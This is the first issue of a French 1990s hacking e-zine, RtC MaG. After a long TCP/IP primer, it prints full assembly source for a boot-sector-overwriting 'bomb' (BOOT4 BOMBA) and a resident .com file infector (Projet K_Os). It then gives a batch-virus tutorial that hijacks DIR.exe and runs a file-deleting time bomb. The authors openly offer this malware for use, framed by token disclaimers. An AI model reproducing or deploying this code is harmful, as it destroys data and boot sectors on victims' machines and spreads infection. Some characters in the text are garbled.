
			
                               RtC MaG no 1

******************************************************************************
******************************************************************************
_____________________________		
|       |          |   ______|      Call us: Par4noID, SnEaKie
|    ___|___    ___|   |                     SLy
| |\  \     |   |  |   |_____                The ScienTisT, AndroGyne
|_| \__\    |___|  |_________|      http://www.chez.com/rtcgang
					 			
******************************************************************************
******************************************************************************

DISCLAIMER:
	
  LES AUTEURS NE PEUVENT EN AUCUN CAS ETRE TENUS RESPONSABLES DE L'UTILISATION
FRAUDULEUSE DE CE DOCUMENT.CELUI-CI A EN EFFET ETE CREE DANS LE SOUCI DE
PERMETTRE UNE MEILLEURE CONNAISSANCE DES SYSTEMES INFORMATIQUES ET NON DANS UN
BUT DESTRUCTEUR , ILLEGAL, ET SURTOUT IMMORAL.
  LES AUTEURS DECLINENT AINSI TOUTE RESPONSABILITE QUANT A L'UTILISATION
ILLEGALE DES INFORMATIONS FOURNIES CI DESSOUS.

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

EDITO:	
	 
 Voici le premier numero (nous l'esperons d'une longue serie) de RTCMAG
magazine sur la securite informatique (HACKING,VIRUS,PHREAKING).Si le g4ng
RTC a aujourd'hui decide de sortir un E-ZINE c'est autant pour sortir de
l'anonymat que pour partager ce qu'il a de connaissances.

Parce que persuade que l'UNDERGROUND FRANCAIS gagnerait a etre plus organise
je profite de cet EDITO pour signaler mon respect envers tout ceux qui comme
nous essaient de le faire evoluer.


		                   We've got no ID call us g4ng RTC!!!
                        
//////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////// 
Sommaire :

        1/      EDITO                                           Par4noID
        2/      Les bAses du TCP/IP                             SnEaKie
	  3/	    CODE SOURCE d'UNE BOMBE INFORMATIQUE	          Par4noID
	  4/	    Projet K_Os						    AndroGyne	
        5/      VIrus Batch                                     SnEaKie
	  6/	    Manifeste contre l'utilisation des 
		    sockets de troie 				          Par4noID
	  7/	    Adapter un virus DOS a WINDOWS sans toucher
		    au MODE PROTEGE					    AndroGyne	
	  8/	    Explication et Exploit sendmail 8.73 -> 8.83    Par4noID
	  9/	    Ah! Un sujet qui lui tient  coeur !		    The ScienTisT
        10/     Comment planter yahoo, amazon: le smurf !       SLy 
        11/     TTL ou comment se faire tracer par de qq octets Par4noID 
	  12/	    Hacking Methode : le SPOOFING de connection	    Par4noID
	  13/     La BOMB INFO du mois				    AndroGyne		
	  14/	    Les nouveaux priphriques			    SnEaKie
	  15/     Join the G4nG !					    

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
				     LES BASES DU TCP/IP
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

A|---| Introduction sur le TCP/IP

B|---| La Pile de Protocole (OSI;TCP;...)

C|---| L'encapsulation

D|---| Les adresses internet 

Cet article se veut totalement ducatif, vous ne trouverez dans son contenu aucunes allusions 
explicites  de quelconques mises en application de ces thories. Ne comptez pas sur moi pour 
vous montrer comment se servir de tel ou tel logiciel qui fait le boulot  votre place : BO,
WinNuke, etc... enfin, de tout ce ramassi de logiciels de merde ! (dont je venere l'inventeur 
pour son gnie!). Mon but, ou plutt celui de l'article est d'expliquer comment marchent les 
protocoles de liaison internet afin d'analyser les processus mis en oeuvre lors de connexions 
internet ou rseaux. Cet article se veut purement thorique mais prend toutes les bases 
ncessaires  la comprhension de certains procds, Spoofing, Connexion server Proxy, Wingate, 
- qui allient non seulement la matrise de certaines bases de TCP/IP mais aussi des bases en 
programmation C - et les rend publiques dans le seul but d'amorcer la comprhension de ces 
derniers.    

A|---| Les protocoles TCP/IP one t dfinis  partir des annes 1960 et servaient  cette poque
 dlocaliser un systeme informatique de la defense americaine. Le departement de la defense 
americaine appele DARPA (= Defense Advanced Research Projects Agency) mit alors au point un systeme 
de reseau base sur la transmission de paquets. Cette tentative devait avoir pour effet de se 
proteger en cas d'une eventuelle attaque sur le centre nerveu du dispositif. Ce reseau de paquets
signifie que chaque message est decoupe selon sa taille en plusieurs paquets qui seront tous 
transmis au destinataire souvent dans un ordre different de celui d'origine, car les paquets ont
tendance a emprunter des "routes" tres differentes sur le reseau. Ce reseau developpe par la DARPA 
fut connu sous le nom de ARPANET. Il fut conu bien avant l're des PCs.

TCP/IP doit etre capable de fonctionner sous n'importe quelle plate-forme. De ce fait, on peut
communiquer avec un ordinateur totalement different du sien afin de relier des machines entre elles.
Cela signifie aussi que l'independance vis  vis des plates-formes, peut permettre aux ordinateurs
de se connecter par n'importe quel support physique disponible, comme une ligne loue, un rseau X25,
ou une connexion a distance. De par cette fonctionnalite, TCP/IP isole les applications qui tournent 
sur les ordinateurs en reseau de la partie physique des reseaux. Cependant, certaines conditions 
devaient etre accomplies pour permettre la communication entre deux ordinateurs :
	
	- Chaque ordinateur doit posseder une identification unique qui lui permet d'etre reconnu
	  par les autres sur le reseau.
	- Chaque systeme doit creer une interface entre le nouveaux protocoles et le support 
          physique utilise pour connecter le systeme au reseau.
	- Chaque ordinateur doit posseder programme permettant de lancer des requetes destinees
	  aux ressources reseau.
	- L'evolution potentielle de reseau ne doit pas etre limitee par les nouveaux protocoles.
	- Les standards definissant les nouveaux protocoles doivent etre consruits pour s'adapter 
          facilement aux nouvelles plates-formes.
	- Les standards de ces nouveaux protocoles ne peuvent etre limites par des marques, copyrights
          ou autres restrictions.

Dans un reseau, les ordinateurs dans la tache difficile de connexion, sont assistes par differents
protocoles de reseaux contenus dans la pile de protocoles. Cette meme pile est capable de regir
toutes les operations effectuees que ce soit une requete de session, une fin de connexion, une erreur
de connexion, un mail entrant ou sortant, etc... 
Cependant, sur le reseau, pour que tout le monde s'y retrouve, il faut que chacun sache avec qui il 
dialogue, un peu comme celui qui envoie une carte postale a quelqu'un. C'est a ce propos, que je
vais vous parler des different types d'adressabilite.
En effet, il en existe plusieurs, qui sont utilises dans differents types de transmissions :
	
	- Type DIFFUSION (Broadcast) Les donnees sont envoyees a toutes les machines du reseau.
	- Type MULTIDESTINATAIRE (Multicast) Les donnees sont envoyees a un groupe de machines.
	- Type MONODESTINATAIRE (Unicast) Les donnees ne sont envoyees qu'a une seule machine.

Vous voyez alors apparaitre le probleme d'adressage, car comment envoyer des donnees a une seule
machine, en monodestinataire donc, sans savoir comment l'identifier. De meme pour les donnees
voulant etre envoyees en multidestinataire, comment savoir a qui l'envoyer car le groupe d'
ordinateurs n'a pas d'adresse proprement dite. Un ancien protocole appele ARCnet identifiait les
machines par une adresse purement numerique comprise entre 1 et 256, codee sur 1 octet donc. Vous
imaginez bien que ce systeme a tres rapidement trouve ses limites, sur un reseau de 20 machines,
ca va meme pas quand 1000 reseaux sont interconnectes et que donc des centaines de milliers de 
machines sont connectees entre elles.
C'est alors que Dieu crea l'adresse IP. Elle est a l'Internet ce que l'adresse postale est au facteur.
C'est a dire indispensable si l'on veut communiquer.
Un nombre code en binaire sur 32 bits est appele ADRESSE IP. Elle est attribuee a chaque ordinateur
du reseayu independamment de celle physique existante. Cette adresse appelle hote, tout ordinateur
possedant une carte reseau conectee a un reseau TCP/IP. Un ordinateur possedant plusieurs cartes
reliant plusieurs reseaux entre eux est aussi un hote mais il est special et appele routeur. Car 
il permet le routage IP, c'est a dire le relais en quelque sorte d'un reseau  un autre.

B|---| La Pile de protocoles
L'application qui genere une requete pour se connecter a un reseau TCP/IP est alors situe en  
haut de la pile et le bas de cette pile constitue l'interface avec le media lui-meme. Ce qui veut
dire que le media dans ce cas est la liaison physique, ou plutot la carte reseau elle meme.
Chaque couche possede un protocole ou des protocoles qui sont charges d'effectuer certaines 
taches bien specifiques qui sont necessaires pour la communication sur le reseau. La transmission 
generee par le dessus de la pile traverse toute la pile jusqu'en bas afin de se charger des 
informations specifique a chaques couches qui se doivent de specifier les options qu'elles utilisent
par exemple, la vitesse de transmission des donnees propre au modem, le nombre de routeur que le 
paquet peut traverser avant d'etre detruit, etc... Pour traiter la requete, l'ordinateur cible 
doit posseder une pile reseau identique a celle de l'ordinateur emetteur et comporter les 
memes protocoles. La requete remonte cette fois-ci les couches et les memes processus sont effectues
dans l'ordre inverse jusqu'a ce que le signal code atteigne l'application. L'ordinateur cible, grace
a son application de traitement des informations envoyees, va se charger de repondre a l'ordinateur
emetteur apres avoir traiter la requete. Il y a renvoie d'un accuse de reception seulement dans le
cas ou le protocle emetteur et recepteur est oriente connexion qu'il soit fiable ou non-fiable.
Nous verrons ceci dans un autre chapitre. Voici un schema tres simple de la correspondance entre
le systeme de reference OSI (Open Systems Interconnection) et TCP (Transmission Control Protocol):
	
	Modele OSI                     TCP/IP
    -----------------             -------------------
    I  Application  I    ----->   I                 I
    -----------------      +      I    Application  I
    I Presentation  I    ----->   I                 I
    -----------------             -------------------
    I   Session     I    ----->   I                 I
    -----------------      +      I    Transport    I
    I   Transport   I    ----->   I                 I
    -----------------             -------------------
    I    Reseau     I    ----->   I    Internet     I
    -----------------             -------------------
    I  Liaison des  I    ----->   I    Liaison      I
    I   donnees     I             I                 I
    -----------------             -------------------
    I   Physique    I
    -----------------

Ces couches sont totalement fictives seulement, elles sont tres utiles a l'etude de chaque tache
effectuees par la machine dans l'echange des donnees car chacune de ces couches represente une
fonctionnalite propre au domaine auquelle elle se rapporte. Par exemple, dans la couche Transport 
de TCP/IP, il y a des services de communication sous la forme de deux protocoles : TCP et UDP.
Si ils n'etaient pas replace de leur contexte, cad, dans la bonne couche leur etude serait alors 
impossible. Les couches ne sont la que pour mieux se represente le fonctionnement du TCP/IP.
Decrivons un peu ce que veut dire ces couches. Je vous passe l'explication du modele OSI, il est 
trop long et en plus, ce qui interesse c'est le TCP/IP, j'ai donne la correspondance pour ne pas 
rester ignorant car quand on parle de TCP/IP, on se doit de savoir quel est le modele qui lui sert
de reference. Pour le TCP/IP donc, prenons les couches une par une :
	
        - Application - Ce sont des API comme winsock2.0 ou 1.1 qui ne sont pas des applications
                        qui tournent sur l'ordinateur mais plutot des programmes qui sont l'inter
                        mediaire indispensable au dialogue entre OS(systeme d'exploitation) et le
                        media (la carte reseau). 
        -  Transport  - Comme dans le modele OSI, Transport fournit les services de communication
                        sous forme de deux protocoles, comme je le disais tout  l'heure, sont
                        TCP, et UDP (User Datagram Protocol).
        -  Internet   - Cette couche contient le protocole IP(Internet Protocol). Ce protocole est
                        responsable de pleins de choses : decoupage, adressage et du routage des 
                        donnees vers leur destinataire. Deux autres protocoles operent au niveau 
                        de cette couche : ICMP(tres bien : Internet Control Message Protocol), et
                        IGMP (Internet Group Management Protocol).
        -   Liaison   - Cette couche contient les protocoles qui favorisent l'acheminement des 
                        donnees IP sur le media. TCP/IP ne defini pas les fonctionnalites des
                        couches Liaison des donnees et Physique de OSI mais integre des protocoles
                        comme ARP et RARP qui fournit une inteface entre TCP/IP et le rseau 
                        physique. En effet, ARP est capable de convertir une adresse IP en une 
                        adresse materielle et RARP(Reverse ARP) fait l'inve, a partir d'une 
                        adresse materielle donne une adresse IP.

Il existe cependant plusieurs formats de donnees pouvant transiter sur le reseau et selon les 
protocoles qui les generent, car les couches differents ne generent pas les memes formats de 
donnees, on peut les appeler de differentes sortes, en voici un exemple :

	On parle de Segment TCP, de Paquet UDP.
        Contenus dans un Datagramme IP
        Contenus tous dans une Trame Ethernet. 
 
SChematiquement:
 ----------------------------------------------       
 I                                            I
 I     ---------------------------------      I
 I     I  -----------      ----------  I      I
 I     I  I Segment I      I Paquet I  I      I
 I     I  I   TCP   I      I  UDP   I  I      I
 I     I  -----------      ----------  I      I
 I     I                               I      I
 I     I                               I      I
 I     I                               I      I 
 I     I          Datagramme IP        I      I
 I     ---------------------------------      I
 I                Trame Ethernet              I
 ----------------------------------------------

           
                         
C|---| L'encapsulation.

Lorsque des donnees sont envoyees, elles doivent traverser chaques couches du haut vers le bas 
comme on l'a vu tout a l'heure. A chaque fois que les donnees traversent une couche, des donnees
propres a chaque couche leur sont ajoutees ainsi, chaque couche peut faire part de ses exigences
pour l'ordinateur cible qui devra respecter ces conditions. Le fait que chaque protocole ajoute 
son propre controle aux donnees, est appele encapsulation. En fait chaque protocole un en-tete aux
donnees de la couche superieure. Cet en-tete contient les donnees importantes et relatives a chaque 
protocole. Cet en-tete est forme de plusieurs octets et se rajoute "devant" les donnees utiles.
Ex:

                    --------------------------------------------------
                    I   En-Tete    I          Donnees utiles         I
                    I Application  I            Application          I
                    --------------------------------------------------
Cette structure sera donnee a la couche directement inferieure soit, la couche Transport qui fera 
de meme avec ce qu'elle aura recu, ce qui fait que le protocole inferieur encapsule l'encapsulation du
protocole superieur.Ainsi, l'en-tete Transport devient : 

                    --------------------------------------------------
                    I   En-Tete    I          Donnees utiles         I
                    I Application  I            Application          I
                    --------------------------------------------------
 ---------------------------------------------------------------------
 I  En-Tete  I                    Donnees utiles                     I
 I Transport I                      Transport                        I
 ---------------------------------------------------------------------

Chaque en-tete est formee d'un certain nombre de champs, de differente taille, utilise par le protocole 
pour implementer les ervices necessaires a la transmission des donnees. Les donnees des champs
peuvent effectuer plusieurs taches dont l'adressage, la fragmentation, la verification des erreurs
et le controle de flux. En voici une courte description.

- ADRESSAGE -

Il apparait dans les en-tetes des protocoles, l'adresse de celui a qui vous envoyez les donnees,
soit le destinataire. Quand un message est envoye a l'ordinateur distant, il doit etre dirige vers 
le bon protocole de chaque couche pour qu'il puisse atteindre l'application pour lequel il est 
destine. La structure peut se comparer alors a une arborescence. 
Un petit schema explicatif est alors interessant :   

		   FTP	HTTP	 DNS	    SMTP	SNMP    
		    |        |      |        |       |
                ----------------------------------
	                   |               |
                         |               |
                         --------IP-------
                                  |
                                  |
IPX/SPX <--------------------- Ethernet ---------------------> Appletalk

Seulement pour que les protocoles puissent correspondre via la transmission, il faut alors que les 
chemins d'acces soient specifies et a ce propos, les chemins sont specifies dans les en-tetes des 
protocoles qui sont transmis. Pour etre exact ils sont enregistres dans un champ special de 
l'en-tete.  

- FRAGMENTATION -

Dans un grand nombre de transmissions, le message est trop important pour tenir en un seul paquet,
c'est pourquoi a ete cree la fragmentation des messages permettant d'envoyer des messages assez
gros en plusieurs morceaux. Chaque morceau est determine par le type de support reseau utilise et 
chaque paquet nouvellement cree se voit assigner un numero qui lui sert d'intificateur. De ce fait
tous les paquets arrivent et sont tres souvent reorganises car ils etaient dans le desordre. 
L'ordinateur distant possede un certain nombre de verifications a effectuer afin de verifier 
l'integrite des paquets qui lui ont ete envoye. Par exemple la taille de toutes les donnees contenues
dans le paquet sont codees grace a un algorythme complexe et la valeur ainsi obtenue est placee
dans un champ de l'en-tete. Apres reception et verification du bon nombre de paquets, il reste 
a l'ordinateur de verifier la taille du paquet reconstitue.  Il trouve pour l'aider la valeur codee
dans l'en-tete et la compare avec ce qu'il obtient en operant de la meme facon. 

- VERIFICATION DES ERREURS -

Comme je l'ai deja dit, il existe plusieurs manieres de verifier l'integrite des paquets. Ces 
manieres sont baptisees processus de verification d'erreurs. Ces processus sont alors bases sur
des techniques de calcul d'une valeur portant sur les donnees envoyees par l'emetteur. Cette valeur
est alors sauvegardee sous un champ de l'en-tete. Lorsque le paquet arrive, le destinataire 
recalcule cette meme valeur et si les valeurs sont differents, alors cela signifie que les donnees
ont ete changees en cours de route et donc que le paquet n'est plus l'original. Ceci n'est qu'une 
protection minimale, qui peut etre epaulee par un systeme plus performant qui fonctione avec le
protocole Ethernet. Celui-ci calcule un CRC (Cyclical Redundancy Check) pour l'ensemble des donnees
et l'envoie dans l'en-tete. A l'arrivee du paquet, le CRC est recalcule et meme si un seul bit des 
donnees a ete modifie, la valeur du CRC change.

- CONTROLE DE FLUX -

Ceci est la specification de la vitesse a laquelle un ordinateur destinataire peut recevoir les 
donnees qui lui sont envoyees. C'est un processus tres utilise dans la tansmission de plusieurs paquets,
en effet, chaque paquet envoie un accuse de reception qui contient une valeur indiquant la quantite 
de donnees que peut recevoir le destinataire en un certain temps. Cette valeur peut alors varie pendant 
la transmission des donnees et il en resulte que l'emetteur devra reduire son taux d'envoi pour 
eviter un plantage du au surencombrement de la pile de protocoles du destinataire.

D|---| Les adresses Internet (adresses IP)

Lorsqu'un ordinateur souhaite envoyer des donnees a un de ses amis, il se doit de savoir ou il se 
situe. C'est alors qu'il fait reference a des adresses un peu speciales que l'ont appelle adresses
internet mais plus communement, adresses IP. Ces adresses sont codees sur 32 Bits. Pour etre rapide,
il en existe plusieurs classes qui sont A,B,C,D,E. Ces differentes classes different en fonction
de leurs nombres maximum d'hotes mais aussi par leurs ecritures.
Sur 32 Bits, ce qui veut dire qu'elles possedent quatre chiffres, representant chacun un octet,
soit 8 Bits donc 8*4=32(pour ceux qui ne maitrise pas tres bien le passage du binaire au decimal
qui est pourtant primordial en informatique!). Ces adresses peuvent donc a cet effet varier entre 
0.0.0.0 et 255.255.255.255. Car un nombre binaire de 8 Bits exprime en decimal peut prendre une 
valeur de 0 a 255. Cette adresses represente alors l'adresse du reseau, l'adresse du sous-reseau et
l'adresse de l'hote.

Les classes d'adresses:
		
		Classe A = Dans une adresse de classe A, le premier bit de l'adresse est toujours
			   a 0. Par defaut, les 8 premiers Bits definissent l'adresse reseau et 
			   les 24 Bits restant l'hote sur le reseau.

		Classe B = Dans une adresse de classe B, les deux premiers Bits de l'adresse ont
			   toujours pour valeur 0 et 1. Par defaut, les 16 premiers Bits definisent
			   l'adresse reseau et les 16 autres l'adresse de l'hote.

		Classe C = Dans une adresse de classe C, les trois premiers Bits de l'adresse ont
                           toujours pour valeur 1,1 et 0. Par defaut, les 24 premiers Bits definisent
                           l'adresse reseau et les 8 autres l'adresse de l'hote. 
Les classes A,B,C sont dites "monodestinataires",car elles identifient un seul hote.

		Classe D = La classe D n'identifie pas d'hotes mais un groupe d'ordinateurs qui ne sont pas 
                           necessairement situes sur le meme reseau mais qui recevront les memes
                           paquets. Elle est dite multidestinataire.

            Classe E = Ces adresses sont reservees pour des usages futurs.                   


D|---| Les Interfaces de programmation d'applications

Encore appelees API, elles servent a l'application pour communiquer avec les protocoles. Cela
permet entre autres, aux developpeures de ne pas avoir a modifier leurs applications en fonction
de chaque protocole.

WINDOWS SOCKETS

Les applications TCP/IP se servent en majeur partie de cette API Windows. A l'heure actuelle, toutes
les applications TCP/IP clientes comme les browsers, les lecteurs de news, FTP, les clients de
messagerie et les utilitaires standards comme PING s'addressent directement a ces API afin de mener 
a bien leur tache. Cette API est basee sur l'interface socket de l'OS UNIX de Berkeley :)). Windows NT
et Windows 95 possedent leurs propres implementations TCP/IP.

	==> Un standard a ete mis au point portant le nom Windows Sockets Version 1.1. Il definit une 
interface comme les DLL Windows appelee Winsock.dll. Cette DLL est appelee afin d'acceder au systeme
de transport des protocoles. De ce fait, tout programme compatible Winsock peut tourner sur toutes
piles TCP/IP compatible.
	Winsock fournit deux types de sockets pour les requetes des applications. Pour les services orientes
connexion, un stream socket qui utilise TCP, et pour les services sans connexion, un datagram socket utilisant 
UDP.
PS : Fin dans le numro2 de l'article du TCP/IP. Suite de ce cours avec en plus quelques explications
sur certaines mthodes utiles au Hacking : pour l'instant, c'est trs thorique!!
Entrez en contact avec nous en nous mailant : rtcgang@yahoo.fr

														SnEaKie

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
               CODE SOURCE D'UNE BOMBE INFORMATIQUE : BOOT4 BOMBA             
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

Chaque mois Androgyne nous ecrira une chtite bomb info de sa composition(la 
BOMB INFO du mois). Pour la premiere du mag, j'ai decide moi aussi d'ecrire
une bomb info(que j'utilise dans la plupart de mes virus) : la BOOT4 BOMB4 !

Voici donc le code source d'un programme info de ma composition : il s'agit de 
ce que l'on peut vulgairement appele une bombe informatique (comprenez par ici
que ce programme s'attaque au systeme sur lequel il est lance).
Plus exactement il ecrit un nouveau BOOT qui ecrase l'ancien . Prudence donc!

Techniquement ce prog assembleur ecrit sur la premiere piste,premier secteur
(le secteur lance au demarrage vous l'aurez compris) en appelant l'int 13h de
la facon suivante:

        mov ax,301h             ; INT 13h :
        mov cl,01h              ; dh=numero de la piste
        mov ch,0                ; ah=fonction (ici 03 parce qu'on ECRIT)
        mov dh,0                ; al=nbre de secteur (on ecrit 1 secteur)
        mov dl,80h              ; cl=secteur de depart (secteur 1)
        mov bx,offset NEWBOOT   ; ch=numero de la tte (tete 0)
        int 13h                 ; dl=numero du disque (disque dur=80h)
                                ; bx=offset du buffer (addresse de ce qui va
                                ; etre ecrit sur l'ancien boot)

(notons que nous faisons appel a l'INT 13h car l'INT 21h qui est celle du dos
empeche l'ecriture sur le premier secteur)

La seule "subtilite" technique reside dans le fait qu'il faut ECRIRE DEUX FOIS
sur le premier secteur, une seule tentative d'ecriture renvoie en effet une
erreur. On reitere donc la tentative d'ecriture (on n'a pas besoin de
specifier les parametres une seconde fois).

        mov ax,301h             ; On reecrit. En effet, l'ecriture du BOOT
        int 13h                 ; necessite deux essais pour reussir.

Ensuite fin du prog !!!

        mov ax,4C00h            ; Specifie la fin du programme.                  
	  int 21h					

Le programme a donc ecrit ce qu'il y'avait a l'addresse NEWBOOT ( ce qui
explique le mov bx,offset newboot de la premiere partie) sur l'ancien boot.

A vous maintenant de creer votre nouveau boot

NEWBOOT:

(N'oublier pas cependant que l'on ne peut appeler que les instructions BIOS
l'INT DOS (21h) n'etant pas encore chargee!)
Voici des lors le code de BOOT4 BOMBA (si vous l'utiliser faite le sur votre
ordinahahahahahahteur !! )
   
----------------------------------CUT HERE------------------------------------

.model tiny                     ; Declaration de la pile
.code	

        ORG 100H                ; Compilation d'un COM
						
Start:
                                                
        mov ax,301h             ; INT 13h :
        mov cl,01h              ; dh=numro de la piste
        mov ch,0                ; ah=fonction (ici 03 parce qu'on ECRIT )
        mov dh,0                ; al=nbre de secteur (1 secteur)
        mov dl,80h              ; cl=secteur de depart (secteur 1)
        mov bx,offset NEWBOOT   ; ch=numro de la tete (tete 0)
        int 13h		        ; dl=numro du disque (disque dur=80h)
                                ; bx=offset du buffer (etiquette NEWBOOT)

        mov ax,301h             ; On reecrit. En effet, l'criture du BOOT
        int 13h                 ; necessite deux essais pour reussir.

        mov ax,4C00h            ; Specifie la fin du programme.                  
	  int 21h					
						
        ORG 7C00H               ; Le BOOT demarre a cette adresse.                       

NEWBOOT:                        ; Depart du nouveau BOOT.

        mov si,offset msg  ;Ce nouveau BOOT ne fait qu'afficher la chaine
                           ; "BOOT4 BOMBA WRITTEN BY Par4noID". On ne peut pas
MESSAGE:         ; utiliser l'INT 21h car le DOS n'est pas encore installee.

        lodsb                    ; lodsb charge dans AL le caractre situ  
        or al,al                 ; es:si puis incrmente si
	  jz Fin
	  mov ah,0EH
        int 10h                 ; L'INT 10h affiche le caractre situ dans AL.
	  jmp MESSAGE				 

Fin:
	  ret

msg     db      'BOOT4 BOMBA WRITTEN BY Par4noID',7,7,7,7,7,7,7,7,7,7,7,7,7,0
                                   ;le 7 emet un BIP.

END Start
	                 			; WRITTEN BY Par4noID
		

----------------------------------CUT HERE------------------------------------

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
					PROJET K_OS
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

  Le projet K_os a un simple but : crer un virus. Mais pas n'importe quel 
virus : ce virus va voluer petit  petit, tre de plus en plus efficace, 
jusqu' atteindre un niveau vraiment intressant... Voici le code source de la 
version 1. Pour l'instant, c'est un simple infecteur de com, rsidant dans la 
table des vecteurs d'interruptions  partir de l'addresse 0000:0200. Il n'a 
pas encore un grand potentiel (je l'essaye chez moi) mais il ne demande qu' 
grandir.

				 					Androgyne and Par4noID

ATTENTION ! ANDROGYNE ET PAR4NOID DECLINE TOUTE RESPONSABILITE QUANT A 
L'UTILISATION DE CE CODE ! COMME D'HABITUDE...


------------------------------------------------------------------------------
.model tiny
.code

        ORG 100h

Start:
        call Test_mem
        jz Exec_host
        call Rec_int21
        call Mise_mem   
        call Det_int21
        jmp Exec_host

Mise_mem:
        xor ax,ax
        push ax
        pop es
        mov di,200h
        mov si,offset start
        mov cx,offset fin-offset start + 1
        rep movsb
        ret

Test_mem:
        xor ax,ax
        push ax
        pop es
        mov di,200h
        mov si,offset start
        mov cx,10h
        repz cmpsb
        ret

Rec_int21:
        xor ax,ax
        push ax
        pop es
        mov bx,0068h
        mov ax,es:[bx]
        mov bx,offset old21
        mov [bx],ax
        mov bx,006Ah
        mov ax,es:[bx]
        mov bx,offset old21 + 2
        mov [bx],ax
        ret

Det_int21:
        mov bx,offset new21 + 2
        mov [bx],offset New_Int21 + 100h
        xor ax,ax
        push ax
        pop es
        mov di,0068h
        mov si,offset new21
        mov cx,2
        cli
        rep movsw
        sti
        ret

Exec_host:
        push cs
        pop es
        mov di,100h
        push cs
        pop ds
        mov si,offset five
        mov cx,6
        rep movsb
        jmp cs:0100h

New_Int21:
        cmp ah,3Dh
        je Infect_file
        jmp dword ptr 0000:[old21+100h]

Deb:
        sub ax,2
        jmp Start

Infect_file:
        push ax
        push bx
        push cx
        push dx
        push es
        push si
        push ds
        push di

        mov si,dx
Boucle:
        lodsb
        or al,al
        jz Popend
        cmp al,'.'
        jne Boucle
        lodsb
        cmp al,'c'
        jne Popend
        lodsw
        cmp ax,'mo'
        jne Popend

        mov ax,3D02h
        pushf
        call dword ptr 0000:[old21+100h]
        jc Popend

        mov bx,ax
        xor ax,ax
        push ax
        pop ds
        mov cx,6
        mov dx,offset Five+100h
        mov ah,3Fh
        int 21h

        mov cx,3
        mov si,dx
        push ds
        pop es
        mov di,offset deb+100h
        repz cmpsb
        jz close_file

        xor cx,cx
        xor dx,dx
        mov ax,4202h
        int 21h

        mov cx,offset fin - offset start +1
        xor ax,ax
        push ax
        pop ds
        mov dx,0200h
        mov ah,40h
        int 21h

        xor cx,cx
        xor dx,dx
        mov ax,4200h
        int 21h

        mov dx,offset deb +100
        mov cx,6
        mov ah,40h
        int 21h

Close_file:
        mov ah,3Eh
        int 21h

Popend:
        pop di
        pop ds
        pop si
        pop es
        pop dx
        pop cx
        pop bx
        pop ax
        ret
                 
        
old21 dd 00000000
new21 dd 00000000
five  db 6 dup(0)

fin:

end start
------------------------------------------------------------------------------

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
                                SnEaKie VIRUS
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

A|---| Intro sur ce qu'est concretement le Batch et ses possibilites.

B|---| Rappel des differentes fonctions utilisables. 

C|---| Introduction a cette programmation simple.

D|---| Source d'un virus assez puissant.

Certes, moins complexe et plus lente que la programmation assembleur, ce type 
de programmation semble dmod et pourtant, elle est toujours utile que ce soit
pour les utilisateurs de Win98,Win95 ou mme Win3.11 ou les "encore plus 
anciens" qui tournent sous MsDos 6.2 ou infrieur. 
Cette programmation permet de crer des raccourcis grce  des variables qui 
peuvent tre insres comme texte  taper.

Selon vous, ces conditions sont-elles ralisables avec la programmation BATCH :
	1) Un virus rsident ( Pas dans le sens ou l'on l'entend habituellement. )
	2) Un virus qui s'active sur une faute de frappe.
	3) Un virus qui infecte le dmarrage de l'ordinateur.
Et bien OUI , ces conditions sont tout  fait ralisables grce  la 
programmation Batch.

Commenons par le commencement ; il existe diffrents cas de figure :
 - Soit vous possdez une machine qui tourne sous MsDos, auquel cas vous n'avez
d'autres moyens pour rendre votre virus rsident que de le lancer au dmarrage 
de l'ordinateur en spcifiant son adresse complte dans le fichier de dmarrage
le plus virol (car trs facile  faire) l'Autoexec.bat qui va de paire avec 
son confrre Config.sys qui sert  charger des gestionnaires (pas toujours trs
sr grce  l'assembleur : -)

- Soit vous possdez une machine qui tourne sous Win98, 95 ou Win3.11, dans ce 
cas, il vous suffit de procder exactement comme avec MsDos ainsi que les 
commandes de ce dernier.

- Soit avec Win98 et 95, le plus facile. Saviez-vous que sous Win98/95 existe 
un rpertoire appel COMMAND , dans ce dernier gisent les commandes MsDos 
utilisables sous Windows. Saviez-vous aussi que ces dernires sont "montes"
ou "charges" au dmarrage de Windaube pardon , Windows donc si modification 
de ces commandes: virus charg  :))
Prenons l'exemple de cette bonne vieille commande DIR.exe si vous crez une 
nouvelle commande DIR.bat qui appelle l'ancienne commande DIR.exe qui a t 
dplace au pralable, comme suit :
	
move c:\windows\command\dir.exe c:\windows\system\dir.exe     ===> Ceci dplace votre DIR.exe 
dans le nouveau dossier que vous avez spcifi ici, c:\windows\system.

Ensuite, vous faites un autre Bat qui lance votre virus avant ou aprs le lancement de DIR.exe.

%lancement de votre virus%
call c:\windows\system\dir.exe    ==> La commande call permet de lancer le fichier sans fermer 
%ou lancement de votre virus%     ==> le Bat en cours d'xcution.

Ces oprations vous assure qu'une fois que l'utilisateur se servira de ce fichier, il lancera 
votre virus avant ou aprs redmarrage de sa machine. Encore faut-il que celui-ci ne se rende 
pas compte que son fichier  chang d'extension.

Ce petit intermde tant fait dans le but d'initier quelques-uns des lecteurs de ce zine. 
Maintenant passons aux choses plus srieuses, je pourrais faire un cours sur les variables si 
certains d'entre vous m'envoie des rclamations, mais passons plutt  la programmation de virus 
"violents" et suffisamment volus pour faire planter grave des milliers de machines.

                                    *************
                                    *CHAPTER ONE*
                                    *************

I ) PETIT VIRUS SIMPLE DE MA COMPOSITION :

@echo off 	                                ; cette commande dsactive l'affichage de certains compte- 
                                                           rendus  
cls       				              ; comme toujours, cela efface l'cran.  
:debut    			                    ; tiquette qui sert  faire des renvois. 
if exist 1.txt goto 1  		              ; Petite bombe  retardement , 1,2,3fois rien et puis aprs ...
if exit  2.txt goto 2  
if exist 3.txt goto 3 
if exist 4.txt goto 4  
:1                     
del 1.txt           
goto fin2         
:2                     
del c:\2.txt      
goto fin2        
:3                     
del c:\3.txt      
goto fin2        
:fin2                 
